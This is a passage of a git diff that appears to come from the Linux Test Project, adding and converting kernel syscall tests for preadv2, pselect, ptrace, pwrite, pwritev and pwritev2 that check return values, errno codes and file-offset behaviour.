+	{&fd1, rd_iovec2, -1, 0, 0, EINVAL},
+	{&fd1, rd_iovec2, 1, 1, -1, EOPNOTSUPP},
+	{&fd1, rd_iovec3, 1, 0, 0, EFAULT},
+	{&fd3, rd_iovec2, 1, 0, 0, EBADF},
+	{&fd2, rd_iovec2, 1, 0, 0, EBADF},
+	{&fd4, rd_iovec2, 1, 0, 0, EISDIR},
+	{&fd5[0], rd_iovec2, 1, 0, 0, ESPIPE},
+};
+
+static void verify_preadv2(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+
+	TEST(preadv2(*tc->fd, tc->name, tc->count, tc->offset, tc->flag));
+
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "preadv2() succeeded unexpectedly");
+		return;
+	}
+
+	if (TST_ERR == tc->exp_err) {
+		tst_res(TPASS | TTERRNO, "preadv2() failed as expected");
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO, "preadv2() failed unexpectedly, expected %s",
+		tst_strerrno(tc->exp_err));
+}
+
+static void setup(void)
+{
+	fd1 = SAFE_OPEN("file1", O_RDWR | O_CREAT, 0644);
+	SAFE_FTRUNCATE(fd1, getpagesize());
+	fd2 = SAFE_OPEN("file2", O_WRONLY | O_CREAT, 0644);
+	fd4 = SAFE_OPEN(".", O_RDONLY);
+	SAFE_PIPE(fd5);
+
+	rd_iovec3[0].iov_base = tst_get_bad_addr(NULL);
+}
+
+static void cleanup(void)
+{
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
+
+	if (fd2 > 0)
+		SAFE_CLOSE(fd2);
+
+	if (fd4 > 0)
+		SAFE_CLOSE(fd4);
+
+	if (fd5[0] > 0)
+		SAFE_CLOSE(fd5[0]);
+
+	if (fd5[1] > 0)
+		SAFE_CLOSE(fd5[1]);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_preadv2,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/profil/.gitignore b/testcases/kernel/syscalls/profil/.gitignore
new file mode 100644
index 0000000..09e0d11
--- /dev/null
+++ b/testcases/kernel/syscalls/profil/.gitignore
@@ -0,0 +1 @@
+/profil01
diff --git a/testcases/kernel/syscalls/pselect/.gitignore b/testcases/kernel/syscalls/pselect/.gitignore
new file mode 100644
index 0000000..59b2090
--- /dev/null
+++ b/testcases/kernel/syscalls/pselect/.gitignore
@@ -0,0 +1,6 @@
+/pselect01
+/pselect01_64
+/pselect02
+/pselect02_64
+/pselect03
+/pselect03_64
diff --git a/testcases/kernel/syscalls/pselect/pselect01.c b/testcases/kernel/syscalls/pselect/pselect01.c
index 1392689..0052b97 100644
--- a/testcases/kernel/syscalls/pselect/pselect01.c
+++ b/testcases/kernel/syscalls/pselect/pselect01.c
@@ -34,9 +34,9 @@
 	tst_timer_stop();
 	tst_timer_sample();
 
-	if (TEST_RETURN != 0) {
+	if (TST_RET != 0) {
 		tst_res(TFAIL | TTERRNO,
-			"pselect() returned %li on timeout", TEST_RETURN);
+			"pselect() returned %li on timeout", TST_RET);
 		return 1;
 	}
 
diff --git a/testcases/kernel/syscalls/pselect/pselect03.c b/testcases/kernel/syscalls/pselect/pselect03.c
index 4a2b849..d93ee5d 100644
--- a/testcases/kernel/syscalls/pselect/pselect03.c
+++ b/testcases/kernel/syscalls/pselect/pselect03.c
@@ -39,8 +39,8 @@
 	FD_SET(fd, &readfds);
 
 	TEST(pselect(fd, &readfds, 0, 0, &tv, NULL));
-	if (TEST_RETURN >= 0)
-		tst_res(TPASS, "pselect() succeeded retval=%li", TEST_RETURN);
+	if (TST_RET >= 0)
+		tst_res(TPASS, "pselect() succeeded retval=%li", TST_RET);
 	else
 		tst_res(TFAIL | TTERRNO, "pselect() failed unexpectedly");
 }
diff --git a/testcases/kernel/syscalls/ptrace/.gitignore b/testcases/kernel/syscalls/ptrace/.gitignore
new file mode 100644
index 0000000..7062911
--- /dev/null
+++ b/testcases/kernel/syscalls/ptrace/.gitignore
@@ -0,0 +1,6 @@
+/ptrace01
+/ptrace02
+/ptrace03
+/ptrace04
+/ptrace05
+/ptrace07
diff --git a/testcases/kernel/syscalls/ptrace/ptrace05.c b/testcases/kernel/syscalls/ptrace/ptrace05.c
index 22261f3..4203300 100644
--- a/testcases/kernel/syscalls/ptrace/ptrace05.c
+++ b/testcases/kernel/syscalls/ptrace/ptrace05.c
@@ -71,6 +71,9 @@
 
 	for (signum = start_signum; signum <= end_signum; signum++) {
 
+		if (signum >= __SIGRTMIN && signum < SIGRTMIN)
+			continue;
+
 		switch (child = fork()) {
 		case -1:
 			tst_brkm(TBROK | TERRNO, NULL, "fork() failed");
diff --git a/testcases/kernel/syscalls/ptrace/ptrace07.c b/testcases/kernel/syscalls/ptrace/ptrace07.c
index 82698a4..9cbaefc 100644
--- a/testcases/kernel/syscalls/ptrace/ptrace07.c
+++ b/testcases/kernel/syscalls/ptrace/ptrace07.c
@@ -113,19 +113,19 @@
 	sched_yield();
 
 	TEST(ptrace(PTRACE_ATTACH, pid, 0, 0));
-	if (TEST_RETURN != 0)
+	if (TST_RET != 0)
 		tst_brk(TBROK | TTERRNO, "PTRACE_ATTACH failed");
 
 	SAFE_WAITPID(pid, NULL, 0);
 	TEST(ptrace(PTRACE_GETREGSET, pid, NT_X86_XSTATE, &iov));
-	if (TEST_RETURN != 0) {
-		if (TEST_ERRNO == EIO)
+	if (TST_RET != 0) {
+		if (TST_ERR == EIO)
 			tst_brk(TCONF, "GETREGSET/SETREGSET is unsupported");
 
-		if (TEST_ERRNO == EINVAL)
+		if (TST_ERR == EINVAL)
 			tst_brk(TCONF, "NT_X86_XSTATE is unsupported");
 
-		if (TEST_ERRNO == ENODEV)
+		if (TST_ERR == ENODEV)
 			tst_brk(TCONF, "CPU doesn't support XSAVE instruction");
 
 		tst_brk(TBROK | TTERRNO,
@@ -143,9 +143,9 @@
 	 * below in either case) is present.
 	 */
 	TEST(ptrace(PTRACE_SETREGSET, pid, NT_X86_XSTATE, &iov));
-	if (TEST_RETURN == 0) {
+	if (TST_RET == 0) {
 		tst_res(TINFO, "PTRACE_SETREGSET with reserved bits succeeded");
-	} else if (TEST_ERRNO == EINVAL) {
+	} else if (TST_ERR == EINVAL) {
 		tst_res(TINFO,
 			"PTRACE_SETREGSET with reserved bits failed with EINVAL");
 	} else {
@@ -153,12 +153,32 @@
 			"PTRACE_SETREGSET failed with unexpected error");
 	}
 
-	TEST(ptrace(PTRACE_CONT, pid, 0, 0));
-	if (TEST_RETURN != 0)
-		tst_brk(TBROK | TTERRNO, "PTRACE_CONT failed");
+	/*
+	 * It is possible for test child 'pid' to crash on AMD
+	 * systems (e.g. AMD Opteron(TM) Processor 6234) with
+	 * older kernels. This causes tracee to stop and sleep
+	 * in ptrace_stop(). Without resuming the tracee, the
+	 * test hangs at do_test()->tst_reap_children() called
+	 * by the library. Use detach here, so we don't need to
+	 * worry about potential stops after this point.
+	 */
+	TEST(ptrace(PTRACE_DETACH, pid, 0, 0));
+	if (TST_RET != 0)
+		tst_brk(TBROK | TTERRNO, "PTRACE_DETACH failed");
+
+	/* If child 'pid' crashes, only report it as info. */
+	SAFE_WAITPID(pid, &status, 0);
+	if (WIFEXITED(status)) {
+		tst_res(TINFO, "test child %d exited, retcode: %d",
+			pid, WEXITSTATUS(status));
+	}
+	if (WIFSIGNALED(status)) {
+		tst_res(TINFO, "test child %d exited, termsig: %d",
+			pid, WTERMSIG(status));
+	}
 
 	okay = true;
-	for (i = 0; i < num_cpus + 1; i++) {
+	for (i = 0; i < num_cpus; i++) {
 		SAFE_WAIT(&status);
 		okay &= (WIFEXITED(status) && WEXITSTATUS(status) == 0);
 	}
diff --git a/testcases/kernel/syscalls/pwrite/.gitignore b/testcases/kernel/syscalls/pwrite/.gitignore
new file mode 100644
index 0000000..a8460be
--- /dev/null
+++ b/testcases/kernel/syscalls/pwrite/.gitignore
@@ -0,0 +1,8 @@
+/pwrite01
+/pwrite01_64
+/pwrite02
+/pwrite02_64
+/pwrite03
+/pwrite03_64
+/pwrite04
+/pwrite04_64
diff --git a/testcases/kernel/syscalls/pwrite/pwrite02.c b/testcases/kernel/syscalls/pwrite/pwrite02.c
index d4592fb..57aba43 100644
--- a/testcases/kernel/syscalls/pwrite/pwrite02.c
+++ b/testcases/kernel/syscalls/pwrite/pwrite02.c
@@ -35,58 +35,33 @@
 
 #include <errno.h>
 #include <unistd.h>
-#include <fcntl.h>
+#include <string.h>
 
-#include "test.h"
-#include "safe_macros.h"
+#include "tst_test.h"
 
-#define TEMPFILE	"pwrite_file"
-#define K1		1024
+#define TEMPFILE "pwrite_file"
+#define BS 1024
 
-TCID_DEFINE(pwrite02);
+static int fd;
+static int fd_ro;
+static int inv_fd = -1;
+static int pipe_fds[2];
+static char buf[BS];
 
-static char write_buf[K1];
-
-static void setup(void);
-static void cleanup(void);
-
-static void test_espipe(void);
-static void test_einval(void);
-static void test_ebadf1(void);
-static void test_ebadf2(void);
-
-#if !defined(UCLINUX)
-static void test_efault(void);
-#endif
-
-static void (*testfunc[])(void) = {
-	test_espipe, test_einval, test_ebadf1, test_ebadf2,
-#if !defined(UCLINUX)
-	test_efault
-#endif
+static struct tcase {
+	void *buf;
+	size_t size;
+	int *fd;
+	off_t off;
+	int exp_errno;
+} tcases[] = {
+	{buf, sizeof(buf), &pipe_fds[1], 0, ESPIPE},
+	{buf, sizeof(buf), &fd, -1, EINVAL},
+	{buf, sizeof(buf), &inv_fd, 0, EBADF},
+	{buf, sizeof(buf), &fd_ro, 0, EBADF},
+	{NULL, sizeof(buf), &fd, 0, EFAULT},
 };
 
-int TST_TOTAL = ARRAY_SIZE(testfunc);
-
-int main(int ac, char **av)
-{
-	int i, lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			(*testfunc[i])();
-	}
-
-	cleanup();
-	tst_exit();
-}
-
 /*
  * sighandler - handle SIGXFSZ
  *
@@ -109,106 +84,55 @@
 	(void)ret;
 }
 
-static void setup(void)
+static void verify_pwrite(unsigned int i)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	struct tcase *tc = &tcases[i];
 
-	/* see the comment in the sighandler() function */
-	/* call signal() to trap the signal generated */
-	if (signal(SIGXFSZ, sighandler) == SIG_ERR)
-		tst_brkm(TBROK, cleanup, "signal() failed");
+	TEST(pwrite(*tc->fd, tc->buf, BS, tc->off));
 
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	memset(write_buf, 'a', K1);
-}
-
-static void print_test_result(int err, int exp_errno)
-{
-	if (err == 0) {
-		tst_resm(TFAIL, "call succeeded unexpectedly");
+	if (TST_RET >= 0) {
+		tst_res(TFAIL, "call succeeded unexpectedly");
 		return;
 	}
 
-	if (err == exp_errno) {
-		tst_resm(TPASS, "pwrite failed as expected: %d - %s",
-			 err, strerror(err));
-	} else {
-		tst_resm(TFAIL, "pwrite failed unexpectedly; expected: %d - %s"
-			 "return: %d - %s", exp_errno, strerror(exp_errno),
-			 err, strerror(err));
+	if (TST_ERR != tc->exp_errno) {
+		tst_res(TFAIL | TTERRNO,
+			"pwrite failed unexpectedly, expected %s",
+			tst_strerrno(tc->exp_errno));
 	}
+
+	tst_res(TPASS | TTERRNO, "pwrite failed as expected");
 }
 
-static void test_espipe(void)
+static void setup(void)
 {
-	int pipe_fds[2];
+	SAFE_SIGNAL(SIGXFSZ, sighandler);
 
-	SAFE_PIPE(cleanup, pipe_fds);
+	SAFE_PIPE(pipe_fds);
 
-	TEST(pwrite(pipe_fds[1], write_buf, K1, 0));
-
-	print_test_result(errno, ESPIPE);
-
-	SAFE_CLOSE(cleanup, pipe_fds[0]);
-	SAFE_CLOSE(cleanup, pipe_fds[1]);
+	fd = SAFE_OPEN(TEMPFILE, O_RDWR | O_CREAT, 0666);
+	fd_ro = SAFE_OPEN(TEMPFILE, O_RDONLY | O_CREAT, 0666);
 }
 
-static void test_einval(void)
-{
-	int fd;
-
-	fd = SAFE_OPEN(cleanup, TEMPFILE, O_RDWR | O_CREAT, 0666);
-
-	/* the specified offset was invalid */
-	TEST(pwrite(fd, write_buf, K1, -1));
-
-	print_test_result(errno, EINVAL);
-
-	SAFE_CLOSE(cleanup, fd);
-}
-
-static void test_ebadf1(void)
-{
-	int fd = -1;
-
-	TEST(pwrite(fd, write_buf, K1, 0));
-
-	print_test_result(errno, EBADF);
-}
-
-static void test_ebadf2(void)
-{
-	int fd;
-
-	fd = SAFE_OPEN(cleanup, TEMPFILE, O_RDONLY | O_CREAT, 0666);
-
-	TEST(pwrite(fd, write_buf, K1, 0));
-
-	print_test_result(errno, EBADF);
-
-	SAFE_CLOSE(cleanup, fd);
-}
-
-#if !defined(UCLINUX)
-static void test_efault(void)
-{
-	int fd;
-	char *buf = sbrk(0);
-
-	fd = SAFE_OPEN(cleanup, TEMPFILE, O_RDWR | O_CREAT, 0666);
-
-	TEST(pwrite(fd, buf, K1, 0));
-
-	print_test_result(errno, EFAULT);
-
-	SAFE_CLOSE(cleanup, fd);
-}
-#endif
-
 static void cleanup(void)
 {
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+
+	if (fd_ro > 0)
+		SAFE_CLOSE(fd_ro);
+
+	if (pipe_fds[0] > 0)
+		SAFE_CLOSE(pipe_fds[0]);
+
+	if (pipe_fds[1] > 0)
+		SAFE_CLOSE(pipe_fds[1]);
 }
+
+static struct tst_test test = {
+	.needs_tmpdir = 1,
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_pwrite,
+	.tcnt = ARRAY_SIZE(tcases),
+};
diff --git a/testcases/kernel/syscalls/pwrite/pwrite03.c b/testcases/kernel/syscalls/pwrite/pwrite03.c
new file mode 100644
index 0000000..efc7747
--- /dev/null
+++ b/testcases/kernel/syscalls/pwrite/pwrite03.c
@@ -0,0 +1,56 @@
+/*
+ * Copyright (c) 2017 Carlo Marcelo Arenas Belon <carlo@gmail.com>
+ * Copyright (c) 2018 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+/*
+ * Tests for a special case NULL buffer with size 0 is expected to return 0.
+ */
+
+#include <errno.h>
+#include "tst_test.h"
+
+static int fd;
+
+static void verify_pwrite(void)
+{
+	TEST(pwrite(fd, NULL, 0, 0));
+
+	if (TST_RET != 0) {
+		tst_res(TFAIL | TTERRNO,
+			"pwrite() should have succeeded with ret=0");
+		return;
+	}
+
+	tst_res(TPASS, "pwrite(fd, NULL, 0) == 0");
+}
+
+static void setup(void)
+{
+	fd = SAFE_OPEN("test_file", O_RDWR | O_CREAT, 0700);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = verify_pwrite,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/pwritev/.gitignore b/testcases/kernel/syscalls/pwritev/.gitignore
new file mode 100644
index 0000000..7db74b4
--- /dev/null
+++ b/testcases/kernel/syscalls/pwritev/.gitignore
@@ -0,0 +1,6 @@
+/pwritev01
+/pwritev01_64
+/pwritev02
+/pwritev02_64
+/pwritev03
+/pwritev03_64
diff --git a/testcases/kernel/syscalls/pwritev/pwritev01.c b/testcases/kernel/syscalls/pwritev/pwritev01.c
index 7c97f72..76fcc6e 100644
--- a/testcases/kernel/syscalls/pwritev/pwritev01.c
+++ b/testcases/kernel/syscalls/pwritev/pwritev01.c
@@ -62,14 +62,14 @@
 	SAFE_LSEEK(fd, 0, SEEK_SET);
 
 	TEST(pwritev(fd, wr_iovec, tc->count, tc->offset));
-	if (TEST_RETURN < 0) {
+	if (TST_RET < 0) {
 		tst_res(TFAIL | TTERRNO, "pwritev() failed");
 		return;
 	}
 
-	if (TEST_RETURN != tc->size) {
+	if (TST_RET != tc->size) {
 		tst_res(TFAIL, "pwritev() wrote %li bytes, expected %zi",
-			 TEST_RETURN, tc->size);
+			 TST_RET, tc->size);
 		return;
 	}
 
diff --git a/testcases/kernel/syscalls/pwritev/pwritev02.c b/testcases/kernel/syscalls/pwritev/pwritev02.c
index 76b722b..2e6dbab 100644
--- a/testcases/kernel/syscalls/pwritev/pwritev02.c
+++ b/testcases/kernel/syscalls/pwritev/pwritev02.c
@@ -83,12 +83,12 @@
 	struct tcase *tc = &tcases[n];
 
 	TEST(pwritev(*tc->fd, tc->name, tc->count, tc->offset));
-	if (TEST_RETURN == 0) {
+	if (TST_RET == 0) {
 		tst_res(TFAIL, "pwritev() succeeded unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO == tc->exp_err) {
+	if (TST_ERR == tc->exp_err) {
 		tst_res(TPASS | TTERRNO, "pwritev() failed as expected");
 		return;
 	}
diff --git a/testcases/kernel/syscalls/pwritev/pwritev03.c b/testcases/kernel/syscalls/pwritev/pwritev03.c
new file mode 100644
index 0000000..ad24124
--- /dev/null
+++ b/testcases/kernel/syscalls/pwritev/pwritev03.c
@@ -0,0 +1,149 @@
+/*
+ * Copyright (c) 2018 FUJITSU LIMITED. All rights reserved.
+ * Author: Xiao Yang <yangx.jy@cn.fujitsu.com>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Description:
+ * Check the basic functionality of the pwritev(2) for the file
+ * opened with O_DIRECT in all filesystem.
+ * pwritev(2) should succeed to write the expected content of data
+ * and after writing the file, the file offset is not changed.
+ */
+
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <sys/uio.h>
+#include <sys/ioctl.h>
+#include <sys/mount.h>
+#include "tst_test.h"
+#include "pwritev.h"
+#include "tst_safe_prw.h"
+
+#define MNTPOINT	"mntpoint"
+#define FNAME	MNTPOINT"/file"
+
+static char *initbuf, *preadbuf;
+static int fd;
+static off_t blk_off, zero_off;
+static ssize_t blksz;
+
+static struct iovec wr_iovec[] = {
+	{NULL, 0},
+	{NULL, 0},
+};
+
+static struct tcase {
+	int count;
+	off_t *offset;
+	ssize_t *size;
+} tcases[] = {
+	{1, &zero_off, &blksz},
+	{2, &zero_off, &blksz},
+	{1, &blk_off, &blksz},
+};
+
+static void verify_direct_pwritev(unsigned int n)
+{
+	int i;
+	struct tcase *tc = &tcases[n];
+
+	SAFE_PWRITE(1, fd, initbuf, blksz * 2, 0);
+
+	TEST(pwritev(fd, wr_iovec, tc->count, *tc->offset));
+	if (TST_RET < 0) {
+		tst_res(TFAIL | TTERRNO, "pwritev(O_DIRECT) fails");
+		return;
+	}
+
+	if (TST_RET != *tc->size) {
+		tst_res(TFAIL, "pwritev(O_DIRECT) wrote %li bytes, expected %zi",
+			 TST_RET, *tc->size);
+		return;
+	}
+
+	if (SAFE_LSEEK(fd, 0, SEEK_CUR) != 0) {
+		tst_res(TFAIL, "pwritev(O_DIRECT) had changed file offset");
+		return;
+	}
+
+	memset(preadbuf, 0x00, blksz);
+	SAFE_PREAD(1, fd, preadbuf, *tc->size, *tc->offset);
+
+	for (i = 0; i < *tc->size; i++) {
+		if (preadbuf[i] != 0x61)
+			break;
+	}
+
+	if (i != *tc->size) {
+		tst_res(TFAIL, "Buffer wrong at %i have %02x expected 0x61",
+			 i, preadbuf[i]);
+		return;
+	}
+
+	tst_res(TPASS, "pwritev(O_DIRECT) wrote %zi bytes successfully "
+		 "with content 'a' expectedly ", *tc->size);
+}
+
+static void setup(void)
+{
+	int dev_fd, ret;
+	
+	dev_fd = SAFE_OPEN(tst_device->dev, O_RDWR);
+	SAFE_IOCTL(dev_fd, BLKSSZGET, &ret);
+	SAFE_CLOSE(dev_fd);
+
+	if (ret <= 0)
+		tst_brk(TBROK, "BLKSSZGET returned invalid block size %i", ret);
+
+	tst_res(TINFO, "Using block size %i", ret);
+
+	blksz = ret;
+	blk_off = ret;
+
+	fd = SAFE_OPEN(FNAME, O_RDWR | O_CREAT | O_DIRECT, 0644);
+
+	initbuf = SAFE_MEMALIGN(blksz, blksz * 2);
+	memset(initbuf, 0x00, blksz * 2);
+
+	preadbuf = SAFE_MEMALIGN(blksz, blksz);
+
+	wr_iovec[0].iov_base = SAFE_MEMALIGN(blksz, blksz);
+	wr_iovec[0].iov_len = blksz;
+	memset(wr_iovec[0].iov_base, 0x61, blksz);
+}
+
+static void cleanup(void)
+{
+	free(initbuf);
+	free(preadbuf);
+	free(wr_iovec[0].iov_base);
+
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_direct_pwritev,
+	.min_kver = "2.6.30",
+	.mntpoint = MNTPOINT,
+	.mount_device = 1,
+	.all_filesystems = 1,
+};
diff --git a/testcases/kernel/syscalls/pwritev2/.gitignore b/testcases/kernel/syscalls/pwritev2/.gitignore
new file mode 100644
index 0000000..40030d9
--- /dev/null
+++ b/testcases/kernel/syscalls/pwritev2/.gitignore
@@ -0,0 +1,4 @@
+/pwritev201
+/pwritev201_64
+/pwritev202
+/pwritev202_64
diff --git a/testcases/kernel/syscalls/pwritev2/Makefile b/testcases/kernel/syscalls/pwritev2/Makefile
new file mode 100644
index 0000000..89756d0
--- /dev/null
+++ b/testcases/kernel/syscalls/pwritev2/Makefile
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
+# Author: Jinhui Huang <huangjh.jy@cn.fujitsu.com>
+
+top_srcdir              ?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+include $(abs_srcdir)/../utils/newer_64.mk
+
+%_64: CPPFLAGS += -D_FILE_OFFSET_BITS=64
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/pwritev2/pwritev201.c b/testcases/kernel/syscalls/pwritev2/pwritev201.c
new file mode 100644
index 0000000..eba45b7
--- /dev/null
+++ b/testcases/kernel/syscalls/pwritev2/pwritev201.c
@@ -0,0 +1,119 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
+ * Author: Jinhui Huang <huangjh.jy@cn.fujitsu.com>
+ */
+/*
+ * Description:
+ * Testcase to check the basic functionality of the pwritev2(2).
+ * 1) If the file offset argument is not -1, pwritev2() should succeed
+ *    in writing the expected content of data and the file offset is
+ *    not changed after writing.
+ * 2) If the file offset argument is -1, pwritev2() should succeed in
+ *    writing the expected content of data and the current file offset
+ *    is used and changed after writing.
+ */
+
+#define _GNU_SOURCE
+#include <string.h>
+#include <sys/uio.h>
+
+#include "tst_test.h"
+#include "lapi/pwritev2.h"
+#include "tst_safe_prw.h"
+
+#define CHUNK	64
+
+static int fd;
+static char initbuf[CHUNK * 2];
+static char buf[CHUNK];
+
+static struct iovec wr_iovec[] = {
+	{buf, CHUNK},
+	{NULL, 0},
+};
+
+static struct tcase {
+	off_t seek_off;
+	int count;
+	off_t write_off;
+	ssize_t size;
+	off_t exp_off;
+} tcases[] = {
+	{0,     1, 0,          CHUNK, 0},
+	{CHUNK, 2, 0,          CHUNK, CHUNK},
+	{0,     1, CHUNK / 2,  CHUNK, 0},
+	{0,     1, -1,         CHUNK, CHUNK},
+	{0,     2, -1,         CHUNK, CHUNK},
+	{CHUNK, 1, -1,         CHUNK, CHUNK * 2},
+};
+
+static void verify_pwritev2(unsigned int n)
+{
+	int i;
+	char preadbuf[CHUNK];
+	struct tcase *tc = &tcases[n];
+
+	SAFE_PWRITE(1, fd, initbuf, sizeof(initbuf), 0);
+	SAFE_LSEEK(fd, tc->seek_off, SEEK_SET);
+
+	TEST(pwritev2(fd, wr_iovec, tc->count, tc->write_off, 0));
+	if (TST_RET < 0) {
+		tst_res(TFAIL | TTERRNO, "pwritev2() failed");
+		return;
+	}
+
+	if (TST_RET != tc->size) {
+		tst_res(TFAIL, "pwritev2() wrote %li bytes, expected %zi",
+			 TST_RET, tc->size);
+		return;
+	}
+
+	if (SAFE_LSEEK(fd, 0, SEEK_CUR) != tc->exp_off) {
+		tst_res(TFAIL, "pwritev2() had changed file offset");
+		return;
+	}
+
+	memset(preadbuf, 0, CHUNK);
+
+	if (tc->write_off != -1)
+		SAFE_PREAD(1, fd, preadbuf, tc->size, tc->write_off);
+	else
+		SAFE_PREAD(1, fd, preadbuf, tc->size, tc->seek_off);
+
+	for (i = 0; i < tc->size; i++) {
+		if (preadbuf[i] != 0x61)
+			break;
+	}
+
+	if (i != tc->size) {
+		tst_res(TFAIL, "buffer wrong at %i have %c expected 'a'",
+			 i, preadbuf[i]);
+		return;
+	}
+
+	tst_res(TPASS, "pwritev2() wrote %zi bytes successfully "
+		 "with content 'a' expectedly ", tc->size);
+}
+
+static void setup(void)
+{
+	memset(buf, 0x61, CHUNK);
+	memset(initbuf, 0, CHUNK * 2);
+
+	fd = SAFE_OPEN("file", O_RDWR | O_CREAT, 0644);
+}
+
+static void cleanup(void)
+{
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_pwritev2,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/pwritev2/pwritev202.c b/testcases/kernel/syscalls/pwritev2/pwritev202.c
new file mode 100644
index 0000000..b44620c
--- /dev/null
+++ b/testcases/kernel/syscalls/pwritev2/pwritev202.c
@@ -0,0 +1,117 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2019 FUJITSU LIMITED. All rights reserved.
+ * Author: Jinhui Huang <huangjh.jy@cn.fujitsu.com>
+ */
+/*
+ * Description:
+ * Check various errnos for pwritev2(2).
+ * 1) pwritev2() fails and sets errno to EINVAL if iov_len is invalid.
+ * 2) pwritev2() fails and sets errno to EINVAL if the vector count iovcnt is
+ *    less than zero.
+ * 3) pwritev2() fails and sets errno to EOPNOTSUPP if flag is invalid.
+ * 4) pwritev2() fails and sets errno to EFAULT when writing data from invalid
+ *    address.
+ * 5) pwritev2() fails and sets errno to EBADF if file descriptor is invalid.
+ * 6) pwritev2() fails and sets errno to EBADF if file descriptor is open for
+ *    reading.
+ * 7) pwritev2() fails and sets errno to ESPIPE if fd is associated with a pipe.
+ */
+
+#define _GNU_SOURCE
+#include <sys/uio.h>
+#include <unistd.h>
+
+#include "tst_test.h"
+#include "lapi/pwritev2.h"
+
+#define CHUNK	64
+
+static int fd1;
+static int fd2;
+static int fd3 = -1;
+static int fd4[2];
+
+static char buf[CHUNK];
+
+static struct iovec wr_iovec1[] = {
+	{buf, -1},
+};
+
+static struct iovec wr_iovec2[] = {
+	{buf, CHUNK},
+};
+
+static struct iovec wr_iovec3[] = {
+	{NULL, CHUNK},
+};
+
+static struct tcase {
+	int *fd;
+	struct iovec *name;
+	int count;
+	off_t offset;
+	int flag;
+	int exp_err;
+} tcases[] = {
+	{&fd1, wr_iovec1, 1, 0, 0, EINVAL},
+	{&fd1, wr_iovec2, -1, 0, 0, EINVAL},
+	{&fd1, wr_iovec2, 1, 1, -1, EOPNOTSUPP},
+	{&fd1, wr_iovec3, 1, 0, 0, EFAULT},
+	{&fd3, wr_iovec2, 1, 0, 0, EBADF},
+	{&fd2, wr_iovec2, 1, 0, 0, EBADF},
+	{&fd4[0], wr_iovec2, 1, 0, 0, ESPIPE},
+};
+
+static void verify_pwritev2(unsigned int n)
+{
+	struct tcase *tc = &tcases[n];
+
+	TEST(pwritev2(*tc->fd, tc->name, tc->count, tc->offset, tc->flag));
+
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "pwritev2() succeeded unexpectedly");
+		return;
+	}
+
+	if (TST_ERR == tc->exp_err) {
+		tst_res(TPASS | TTERRNO, "pwritev2() failed as expected");
+		return;
+	}
+
+	tst_res(TFAIL | TTERRNO, "pwritev2() failed unexpectedly, expected %s",
+		tst_strerrno(tc->exp_err));
+}
+
+static void setup(void)
+{
+	fd1 = SAFE_OPEN("file1", O_RDWR | O_CREAT, 0644);
+	SAFE_FTRUNCATE(fd1, getpagesize());
+	fd2 = SAFE_OPEN("file2", O_RDONLY | O_CREAT, 0644);
+	SAFE_PIPE(fd4);
+
+	wr_iovec3[0].iov_base = tst_get_bad_addr(NULL);
+}
+
+static void cleanup(void)
+{
+	if (fd1 > 0)
+		SAFE_CLOSE(fd1);
+
+	if (fd2 > 0)
+		SAFE_CLOSE(fd2);
+
+	if (fd4[0] > 0)
+		SAFE_CLOSE(fd4[0]);
+
+	if (fd4[1] > 0)
+		SAFE_CLOSE(fd4[1]);
+}
+
+static struct tst_test test = {
